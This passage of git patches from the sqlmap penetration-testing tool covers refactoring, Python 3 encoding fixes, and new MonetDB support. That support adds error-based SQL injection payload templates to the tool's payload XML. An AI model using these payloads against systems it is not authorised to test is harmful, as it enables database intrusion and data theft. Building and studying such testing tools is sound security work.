+0100 Subject: [PATCH 080/159] Patch related to #4070 --- lib/core/settings.py | 2 +- lib/core/target.py | 14 +++++++------- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3bee73c2d..c4cdb368f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.21" +VERSION = "1.4.1.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index 72957074b..49a93681d 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -106,7 +106,7 @@ def _setRequestParams(): conf.data = "" if conf.data is not None: - conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method + conf.method = conf.method or HTTPMETHOD.POST def process(match, repl): retVal = match.group(0) @@ -125,7 +125,7 @@ def _setRequestParams(): return retVal if kb.processUserMarks is None and kb.customInjectionMark in conf.data: - message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark + message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method) message += "body. Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() @@ -138,7 +138,7 @@ def _setRequestParams(): kb.testOnlyCustom = True if re.search(JSON_RECOGNITION_REGEX, conf.data): - message = "JSON data found in %s data. " % conf.method + message = "JSON data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() @@ -162,7 +162,7 @@ def _setRequestParams(): kb.postHint = POST_HINT.JSON elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data): - message = "JSON-like data found in %s data. " % conf.method + message = "JSON-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() @@ -178,7 +178,7 @@ def _setRequestParams(): kb.postHint = POST_HINT.JSON_LIKE elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data): - message = "Array-like data found in %s data. " % conf.method + message = "Array-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() @@ -192,7 +192,7 @@ def _setRequestParams(): kb.postHint = POST_HINT.ARRAY_LIKE elif re.search(XML_RECOGNITION_REGEX, conf.data): - message = "SOAP/XML data found in %s data. " % conf.method + message = "SOAP/XML data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() @@ -207,7 +207,7 @@ def _setRequestParams(): kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data): - message = "Multipart-like data found in %s data. " % conf.method + message = "Multipart-like data found in %s body. " % conf.method message += "Do you want to process it? [Y/n/q] " choice = readInput(message, default='Y').upper() From c0820679026c88d9894eaaafbec0137fbc65e2a6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jan 2020 11:44:24 +0100 Subject: [PATCH 081/159] Removing some dead code (vulture) --- lib/controller/checks.py | 2 -- lib/core/common.py | 11 ----------- lib/core/dump.py | 3 --- lib/core/settings.py | 2 +- lib/utils/hash.py | 12 ------------ plugins/generic/enumeration.py | 1 - 6 files changed, 1 insertion(+), 30 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index dab1609ff..a26a2e652 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -519,8 +519,6 @@ def checkSqlInjection(place, parameter, value): except (MemoryError, OverflowError): pass - kb.prevFalsePage = falsePage - # Perform the test's True request trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode diff --git a/lib/core/common.py b/lib/core/common.py index 1c7e98f1d..8517f47f8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1377,7 +1377,6 @@ def setPaths(rootPath): paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra") paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper") - paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf") paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs") paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell") @@ -2319,16 +2318,6 @@ def readCachedFileContent(filename, mode="rb"): return kb.cache.content[filename] -def readXmlFile(xmlFile): - """ - Reads XML file content and returns its DOM representation - """ - - checkFile(xmlFile) - retVal = minidom.parse(xmlFile).documentElement - - return retVal - def average(values): """ Computes the arithmetic mean of a list of numbers. diff --git a/lib/core/dump.py b/lib/core/dump.py index e76b60c67..986e8be79 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -107,9 +107,6 @@ class Dump(object): errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) - def getOutputFile(self): - return self._outputFile - def singleString(self, data, content_type=None): self._write(data, content_type=content_type) diff --git a/lib/core/settings.py b/lib/core/settings.py index c4cdb368f..fa0bb63a3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.22" +VERSION = "1.4.1.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 0779d6ca7..19b6b021a 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -248,18 +248,6 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version ' return retVal.upper() if uppercase else retVal.lower() -def md4_generic_passwd(password, uppercase=False): - """ - >>> md4_generic_passwd(password='testpass', uppercase=False) - '5b4d300688f19c8fd65b8d6ccf98e0ae' - """ - - password = getBytes(password) - - retVal = hashlib.new("md4", password).hexdigest() - - return retVal.upper() if uppercase else retVal.lower() - def md5_generic_passwd(password, uppercase=False): """ >>> md5_generic_passwd(password='testpass', uppercase=False) diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py index d5b35b7e0..affeb3f3e 100644 --- a/plugins/generic/enumeration.py +++ b/plugins/generic/enumeration.py @@ -31,7 +31,6 @@ class Enumeration(Custom, Databases, Entries, Search, Users): kb.data.banner = None kb.data.hostname = "" kb.data.processChar = None - kb.data.characterSet = None Custom.__init__(self) Databases.__init__(self) From a6c26fe7926b21aea774f97a1c08e517c14f764b Mon Sep 17 00:00:00 2001 From: Tomas Zellerin Date: Wed, 15 Jan 2020 22:36:49 +0100 Subject: [PATCH 082/159] Python 3 binary-character fixes for two urllib requests (#4077) * Fix python3 binary - character mismatch in api.py Convert between text and binary data in api.py call to urllib.request and response from it. In python3 sqlmapapi -c it fixes, at least - not nice output from log/list commands - any command that POSTs data (including new) crashing sqlmapapi * Fix python3 binary - character mismatch in search.py Before: python3 sqlmap.py -g (...) [18:35:17] [INFO] using search result page #1 no usable links found. What do you want to do? [1] (re)try with DuckDuckGo (default) [2] (re)try with Bing [3] quit > 1 [18:35:21] [CRITICAL] unable to connect After: python3 sqlmap.py -g asfafw2fwesvzsdvaw (...) [18:37:30] [INFO] using search result page #1 no usable links found. What do you want to do? [1] (re)try with DuckDuckGo (default) [2] (re)try with Bing [3] quit > 1 [18:37:34] [INFO] found 26 results for your search dork expression, 16 of them are testable targets [18:37:34] [INFO] found a total of 16 targets URL 1: GET https:... do you want to test this URL? [Y/n/q] --- lib/utils/api.py | 4 ++-- lib/utils/search.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 19593fc94..480193148 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -713,7 +713,7 @@ def _client(url, options=None): try: data = None if options is not None: - data = jsonize(options) + data = jsonize(options).encode("utf-8") headers = {"Content-Type": "application/json"} if DataStore.username or DataStore.password: @@ -721,7 +721,7 @@ def _client(url, options=None): req = _urllib.request.Request(url, data, headers) response = _urllib.request.urlopen(req) - text = response.read() + text = response.read().decode("utf-8") except: if options: logger.error("Failed to load and parse %s" % url) diff --git a/lib/utils/search.py b/lib/utils/search.py index 8c239b7df..616e58ffe 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -132,7 +132,7 @@ def _search(dork): regex = DUCKDUCKGO_REGEX try: - req = _urllib.request.Request(url, data=data, headers=requestHeaders) + req = _urllib.request.Request(url, data=data.encode("utf-8"), headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url From 3776f2eeea7266614b039ea67b7262819bd5a4c9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 15 Jan 2020 22:38:34 +0100 Subject: [PATCH 083/159] Minor refactoring for #4077 --- lib/core/settings.py | 2 +- lib/utils/search.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fa0bb63a3..4a8981ce2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.23" +VERSION = "1.4.1.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/search.py b/lib/utils/search.py index 616e58ffe..f11a9ab3b 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -13,6 +13,7 @@ from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import urlencode +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb @@ -132,7 +133,7 @@ def _search(dork): regex = DUCKDUCKGO_REGEX try: - req = _urllib.request.Request(url, data=data.encode("utf-8"), headers=requestHeaders) + req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) conn = _urllib.request.urlopen(req) requestMsg = "HTTP request:\nGET %s" % url From 1cfe37027662b0874499c935e0aeb9866d3ebeb2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 15 Jan 2020 22:47:06 +0100 Subject: [PATCH 084/159] More refactoring for #4077 --- lib/core/convert.py | 2 +- lib/core/settings.py | 2 +- lib/utils/api.py | 12 ++++++++---- 3 files changed, 10 insertions(+), 6 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 71afeb0ae..4337e0525 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -238,7 +238,7 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True): retVal = value if encoding is None: - encoding = conf.encoding or UNICODE_ENCODING + encoding = conf.get("encoding") or UNICODE_ENCODING try: codecs.lookup(encoding) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a8981ce2..586fd275c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.24" +VERSION = "1.4.1.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/api.py b/lib/utils/api.py index 480193148..4e30c9b6d 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -29,6 +29,8 @@ from lib.core.convert import decodeBase64 from lib.core.convert import dejsonize from lib.core.convert import encodeBase64 from lib.core.convert import encodeHex +from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb @@ -711,17 +713,19 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST def _client(url, options=None): logger.debug("Calling '%s'" % url) try: - data = None - if options is not None: - data = jsonize(options).encode("utf-8") headers = {"Content-Type": "application/json"} + if options is not None: + data = getBytes(jsonize(options)) + else: + data = None + if DataStore.username or DataStore.password: headers["Authorization"] = "Basic %s" % encodeBase64("%s:%s" % (DataStore.username or "", DataStore.password or ""), binary=False) req = _urllib.request.Request(url, data, headers) response = _urllib.request.urlopen(req) - text = response.read().decode("utf-8") + text = getText(response.read()) except: if options: logger.error("Failed to load and parse %s" % url) From 1087396d88f1bfb48333cb8f2c22b87d2c6003c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 17 Jan 2020 17:14:41 +0100 Subject: [PATCH 085/159] Adding support for MonetDB --- data/xml/errors.xml | 6 ++ data/xml/payloads/error_based.xml | 38 ++++++++++ data/xml/queries.xml | 68 +++++++++++++++++- lib/controller/handler.py | 4 ++ lib/core/agent.py | 12 +++- lib/core/common.py | 9 ++- lib/core/dicts.py | 2 + lib/core/dump.py | 2 +- lib/core/enums.py | 2 + lib/core/settings.py | 11 +-- lib/request/inject.py | 10 +-- lib/utils/deps.py | 2 + plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/monetdb/__init__.py | 30 ++++++++ plugins/dbms/monetdb/connector.py | 59 +++++++++++++++ plugins/dbms/monetdb/enumeration.py | 34 +++++++++ plugins/dbms/monetdb/filesystem.py | 11 +++ plugins/dbms/monetdb/fingerprint.py | 107 ++++++++++++++++++++++++++++ plugins/dbms/monetdb/syntax.py | 40 +++++++++++ plugins/dbms/monetdb/takeover.py | 15 ++++ plugins/generic/databases.py | 10 ++- plugins/generic/entries.py | 2 + 23 files changed, 460 insertions(+), 18 deletions(-) create mode 100644 plugins/dbms/monetdb/__init__.py create mode 100644 plugins/dbms/monetdb/connector.py create mode 100644 plugins/dbms/monetdb/enumeration.py create mode 100644 plugins/dbms/monetdb/filesystem.py create mode 100644 plugins/dbms/monetdb/fingerprint.py create mode 100644 plugins/dbms/monetdb/syntax.py create mode 100644 plugins/dbms/monetdb/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 4c330de21..2cb014058 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -169,4 +169,10 @@ + + + + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 410cada69..f4449c483 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -704,6 +704,44 @@ Firebird + + + MonetDB AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1,9 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + MonetDB OR error-based - WHERE or HAVING clause + 2 + 3 + 3 + 1,9 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/lib/controller/handler.py b/lib/controller/handler.py index fc439729a..0b430b907 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -24,6 +24,7 @@ from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap @@ -52,6 +53,8 @@ from plugins.dbms.h2 import H2Map from plugins.dbms.h2.connector import Connector as H2Conn from plugins.dbms.informix import InformixMap from plugins.dbms.informix.connector import Connector as InformixConn +from plugins.dbms.monetdb import MonetDBMap +from plugins.dbms.monetdb.connector import Connector as MonetDBConn def setHandler(): """ @@ -73,6 +76,7 @@ def setHandler(): (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.H2, H2_ALIASES, H2Map, H2Conn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), + (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index de7f50e09..ecf9b26b4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -648,7 +648,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -941,6 +941,16 @@ class Agent(object): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,): + if query.startswith("SELECT ") and field is not None and field in query: + original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] + for part in original.split(','): + if re.search(r"\b%s\b" % re.escape(field), part): + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) + limitedQuery = replacement + break + elif Backend.isDbms(DBMS.HSQLDB): match = re.search(r"ORDER BY [^ ]+", limitedQuery) if match: diff --git a/lib/core/common.py b/lib/core/common.py index 8517f47f8..b539f10f3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -147,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES from lib.core.settings import NULL from lib.core.settings import PARAMETER_AMP_MARKER from lib.core.settings import PARAMETER_SEMICOLON_MARKER +from lib.core.settings import PARAMETER_PERCENTAGE_MARKER from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER @@ -2021,6 +2022,8 @@ def safeStringFormat(format_, params): if retVal.count("%s", start, end) == len(params): for param in params: index = retVal.find("%s", start) + if isinstance(param, six.string_types): + param = param.replace('%', PARAMETER_PERCENTAGE_MARKER) retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] else: if any('%s' in _ for _ in conf.parameters.values()): @@ -2046,7 +2049,7 @@ def safeStringFormat(format_, params): else: break - retVal = getText(retVal) + retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%') return retVal @@ -4067,7 +4070,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4105,7 +4108,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4e0f07bef..48e8afe13 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -17,6 +17,7 @@ from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL @@ -198,6 +199,7 @@ DBMS_DICT = { DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), } FROM_DUMMY_TABLE = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 986e8be79..936c226ae 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -166,7 +166,7 @@ class Dump(object): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 3ab83f540..98bbca1b4 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -45,6 +45,7 @@ class DBMS(object): HSQLDB = "HSQLDB" H2 = "H2" INFORMIX = "Informix" + MONETDB = "MonetDB" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -60,6 +61,7 @@ class DBMS_DIRECTORY_NAME(object): HSQLDB = "hsqldb" H2 = "h2" INFORMIX = "informix" + MONETDB = "monetdb" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 586fd275c..1fb5fea0e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.25" +VERSION = "1.4.1.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98 PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" @@ -257,6 +258,7 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", " HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") +MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") @@ -265,19 +267,20 @@ ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") -MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") +MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") +MONETDB_ALIASES = ("monet", "monetdb",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/request/inject.py b/lib/request/inject.py index 579a1e7f6..63dcbc168 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - expression = "SELECT %s FROM (%s)" % (field, expression) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, 